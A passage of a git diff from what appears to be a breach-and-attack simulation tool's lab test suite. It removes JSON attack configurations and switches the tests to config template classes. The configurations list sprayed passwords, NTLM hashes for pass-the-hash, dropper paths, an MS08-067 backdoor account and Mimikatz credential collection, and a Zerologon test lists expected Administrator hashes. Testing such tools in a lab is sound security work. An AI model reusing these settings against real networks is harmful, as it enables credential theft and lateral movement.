"blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.18", - "10.2.2.19" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf b/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf deleted file mode 100644 index 15cb346a5..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf +++ /dev/null @@ -1,180 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "Password1!", - "Ivrrw5zEzs" - ], - "exploit_user_list": [ - "Administrator", - "m0nk3y", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "WmiExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.14", - "10.2.2.15" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/WMI_PTH.conf b/envs/monkey_zoo/blackbox/island_configs/WMI_PTH.conf deleted file mode 100644 index f0bece5e8..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/WMI_PTH.conf +++ /dev/null @@ -1,179 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "Password1!" - ], - "exploit_user_list": [ - "Administrator", - "m0nk3y", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "WmiExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.15" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [ "5da0889ea2081aa79f6852294cba4a5e", - "50c9987a6bf1ac59398df9f911122c9b"], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py index 3f5cfc191..bae6a9adc 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py +++ b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py @@ -2,10 +2,8 @@ import logging import os import shutil -from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import \ - MonkeyLogParser -from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import \ - MonkeyLogsDownloader +from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser +from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader LOG_DIR_NAME = 'logs' LOGGER = logging.getLogger(__name__) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 45751452e..bfcf32fba 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -3,13 +3,31 @@ import os from time import sleep import pytest +from typing_extensions import Type from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import \ CommunicationAnalyzer +from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer from envs.monkey_zoo.blackbox.island_client.island_config_parser import \ IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ MonkeyIslandClient +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal +from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic +from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql +from envs.monkey_zoo.blackbox.config_templates.performance import Performance +from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock +from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz +from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth +from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh +from envs.monkey_zoo.blackbox.config_templates.struts2 import Struts2 +from envs.monkey_zoo.blackbox.config_templates.tunneling import Tunneling +from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic +from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz +from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth +from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import \ TestLogsHandler from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest @@ -29,8 +47,10 @@ DEFAULT_TIMEOUT_SECONDS = 5*60 MACHINE_BOOTUP_WAIT_SECONDS = 30 GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16', 'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10', - 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8'] + 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8', 'zerologon-25', + 'drupal-28'] LOG_DIR_PATH = "./logs" +logging.basicConfig(level=logging.INFO) LOGGER = logging.getLogger(__name__) @@ -67,31 +87,35 @@ def island_client(island, quick_performance_tests): @pytest.mark.usefixtures('island_client') # noinspection PyUnresolvedReferences -class TestMonkeyBlackbox(object): +class TestMonkeyBlackbox: @staticmethod - def run_exploitation_test(island_client, conf_filename, test_name, timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS): - config_parser = IslandConfigParser(conf_filename) - analyzer = CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets()) + def run_exploitation_test(island_client: MonkeyIslandClient, + config_template: Type[ConfigTemplate], + test_name: str, + timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS): + raw_config = IslandConfigParser.get_raw_config(config_template, island_client) + analyzer = CommunicationAnalyzer(island_client, + IslandConfigParser.get_ips_of_targets(raw_config)) log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) ExploitationTest( name=test_name, island_client=island_client, - config_parser=config_parser, + raw_config=raw_config, analyzers=[analyzer], timeout=timeout_in_seconds, log_handler=log_handler).run() @staticmethod def run_performance_test(performance_test_class, island_client, - conf_filename, timeout_in_seconds, break_on_timeout=False): - config_parser = IslandConfigParser(conf_filename) + config_template, timeout_in_seconds, break_on_timeout=False): + raw_config = IslandConfigParser.get_raw_config(config_template, island_client) log_handler = TestLogsHandler(performance_test_class.TEST_NAME, island_client, TestMonkeyBlackbox.get_log_dir_path()) - analyzers = [CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets())] + analyzers = [CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config))] performance_test_class(island_client=island_client, - config_parser=config_parser, + raw_config=raw_config, analyzers=analyzers, timeout=timeout_in_seconds, log_handler=log_handler, @@ -105,40 +129,59 @@ class TestMonkeyBlackbox(object): assert island_client.get_api_status() is not None def test_ssh_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "SSH.conf", "SSH_exploiter_and_keys") + TestMonkeyBlackbox.run_exploitation_test(island_client, Ssh, "SSH_exploiter_and_keys") def test_hadoop_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "HADOOP.conf", "Hadoop_exploiter", 6 * 60) + TestMonkeyBlackbox.run_exploitation_test(island_client, Hadoop, "Hadoop_exploiter", 6 * 60) def test_mssql_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "MSSQL.conf", "MSSQL_exploiter") + TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter") def test_smb_and_mimikatz_exploiters(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "SMB_MIMIKATZ.conf", "SMB_exploiter_mimikatz") + TestMonkeyBlackbox.run_exploitation_test(island_client, SmbMimikatz, "SMB_exploiter_mimikatz") def test_smb_pth(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "SMB_PTH.conf", "SMB_PTH") + TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") + + def test_drupal_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Drupal, "Drupal_exploiter") def test_elastic_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "ELASTIC.conf", "Elastic_exploiter") + TestMonkeyBlackbox.run_exploitation_test(island_client, Elastic, "Elastic_exploiter") def test_struts_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "STRUTS2.conf", "Strtuts2_exploiter") + TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Strtuts2_exploiter") def test_weblogic_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "WEBLOGIC.conf", "Weblogic_exploiter") + TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") def test_shellshock_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter") + TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter") def test_tunneling(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 15 * 60) + TestMonkeyBlackbox.run_exploitation_test(island_client, Tunneling, "Tunneling_exploiter", 15 * 60) def test_wmi_and_mimikatz_exploiters(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz") + TestMonkeyBlackbox.run_exploitation_test(island_client, WmiMimikatz, "WMI_exploiter,_mimikatz") def test_wmi_pth(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, "WMI_PTH.conf", "WMI_PTH") + TestMonkeyBlackbox.run_exploitation_test(island_client, WmiPth, "WMI_PTH") + + def test_zerologon_exploiter(self, island_client): + test_name = "Zerologon_exploiter" + expected_creds = ["Administrator", + "aad3b435b51404eeaad3b435b51404ee", + "2864b62ea4496934a5d6e86f50b834a5"] + raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client) + analyzer = ZerologonAnalyzer(island_client, expected_creds) + log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) + ExploitationTest( + name=test_name, + island_client=island_client, + raw_config=raw_config, + analyzers=[analyzer], + timeout=DEFAULT_TIMEOUT_SECONDS, + log_handler=log_handler).run() @pytest.mark.skip(reason="Perfomance test that creates env from fake telemetries is faster, use that instead.") def test_report_generation_performance(self, island_client, quick_performance_tests): @@ -152,7 +195,7 @@ class TestMonkeyBlackbox(object): if not quick_performance_tests: TestMonkeyBlackbox.run_performance_test(ReportGenerationTest, island_client, - "PERFORMANCE.conf", + Performance, timeout_in_seconds=10*60) else: LOGGER.error("This test doesn't support 'quick_performance_tests' option.") diff --git a/envs/monkey_zoo/blackbox/tests/exploitation.py b/envs/monkey_zoo/blackbox/tests/exploitation.py index 2d55f2294..d6332bc75 100644 --- a/envs/monkey_zoo/blackbox/tests/exploitation.py +++ b/envs/monkey_zoo/blackbox/tests/exploitation.py @@ -1,6 +1,7 @@ import logging from time import sleep +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer @@ -13,16 +14,16 @@ LOGGER = logging.getLogger(__name__) class ExploitationTest(BasicTest): - def __init__(self, name, island_client, config_parser, analyzers, timeout, log_handler): + def __init__(self, name, island_client, raw_config, analyzers, timeout, log_handler): self.name = name self.island_client = island_client - self.config_parser = config_parser + self.raw_config = raw_config self.analyzers = analyzers self.timeout = timeout self.log_handler = log_handler def run(self): - self.island_client.import_config(self.config_parser.config_raw) + self.island_client.import_config(self.raw_config) self.print_test_starting_info() try: self.island_client.run_monkey_local() @@ -36,7 +37,8 @@ class ExploitationTest(BasicTest): def print_test_starting_info(self): LOGGER.info("Started {} test".format(self.name)) - LOGGER.info("Machines participating in test: " + ", ".join(self.config_parser.get_ips_of_targets())) + machine_list = ", ".join(IslandConfigParser.get_ips_of_targets(self.raw_config)) + LOGGER.info(f"Machines participating in test: {machine_list}") print("") def test_until_timeout(self): diff --git a/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py index e08ac2824..b8793452d 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py @@ -1,14 +1,10 @@ import logging -from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import \ - PerformanceAnalyzer -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ - MonkeyIslandClient -from envs.monkey_zoo.blackbox.island_client.supported_request_method import \ - SupportedRequestMethod +from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceAnalyzer +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig LOGGER = logging.getLogger(__name__) diff --git a/envs/monkey_zoo/blackbox/tests/performance/map_generation.py b/envs/monkey_zoo/blackbox/tests/performance/map_generation.py index 926e5331e..42d2265e7 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/map_generation.py +++ b/envs/monkey_zoo/blackbox/tests/performance/map_generation.py @@ -1,12 +1,9 @@ from datetime import timedelta from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test import \ - PerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import \ - PerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) @@ -20,12 +17,11 @@ class MapGenerationTest(PerformanceTest): TEST_NAME = "Map generation performance test" - def __init__(self, island_client, config_parser, analyzers, + def __init__(self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout): self.island_client = island_client - self.config_parser = config_parser exploitation_test = ExploitationTest(MapGenerationTest.TEST_NAME, island_client, - config_parser, analyzers, timeout, log_handler) + raw_config, analyzers, timeout, log_handler) performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, endpoints_to_test=MAP_RESOURCES, diff --git a/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py b/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py index 1ee1b60da..1b31a8962 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py +++ b/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py @@ -1,9 +1,7 @@ from datetime import timedelta -from envs.monkey_zoo.blackbox.tests.performance.performance_test import \ - PerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \ TelemetryPerformanceTestWorkflow diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test.py index b26c20f93..dd6af8065 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test.py @@ -6,7 +6,7 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest class PerformanceTest(BasicTest, metaclass=ABCMeta): @abstractmethod - def __init__(self, island_client, config_parser, analyzers, + def __init__(self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout): pass diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py index 5f08c976c..7799e3d29 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py +++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py @@ -1,9 +1,7 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import \ - EndpointPerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig class PerformanceTestWorkflow(BasicTest): @@ -12,11 +10,11 @@ class PerformanceTestWorkflow(BasicTest): self.name = name self.exploitation_test = exploitation_test self.island_client = exploitation_test.island_client - self.config_parser = exploitation_test.config_parser + self.raw_config = exploitation_test.raw_config self.performance_config = performance_config def run(self): - self.island_client.import_config(self.config_parser.config_raw) + self.island_client.import_config(self.raw_config) self.exploitation_test.print_test_starting_info() try: self.island_client.run_monkey_local() diff --git a/envs/monkey_zoo/blackbox/tests/performance/report_generation.py b/envs/monkey_zoo/blackbox/tests/performance/report_generation.py index eec8f067d..f05661682 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/report_generation.py +++ b/envs/monkey_zoo/blackbox/tests/performance/report_generation.py @@ -1,12 +1,9 @@ from datetime import timedelta from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test import \ - PerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import \ - PerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) @@ -23,12 +20,11 @@ REPORT_RESOURCES = [ class ReportGenerationTest(PerformanceTest): TEST_NAME = "Report generation performance test" - def __init__(self, island_client, config_parser, analyzers, + def __init__(self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout): self.island_client = island_client - self.config_parser = config_parser exploitation_test = ExploitationTest(ReportGenerationTest.TEST_NAME, island_client, - config_parser, analyzers, timeout, log_handler) + raw_config, analyzers, timeout, log_handler) performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, endpoints_to_test=REPORT_RESOURCES, diff --git a/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py b/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py index 1cba745bf..abc2b35c2 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py +++ b/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py @@ -1,9 +1,7 @@ from datetime import timedelta -from envs.monkey_zoo.blackbox.tests.performance.performance_test import \ - PerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \ TelemetryPerformanceTestWorkflow diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py index e5b0a52cd..cb5956025 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py @@ -6,12 +6,10 @@ from typing import Dict, List from tqdm import tqdm -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser 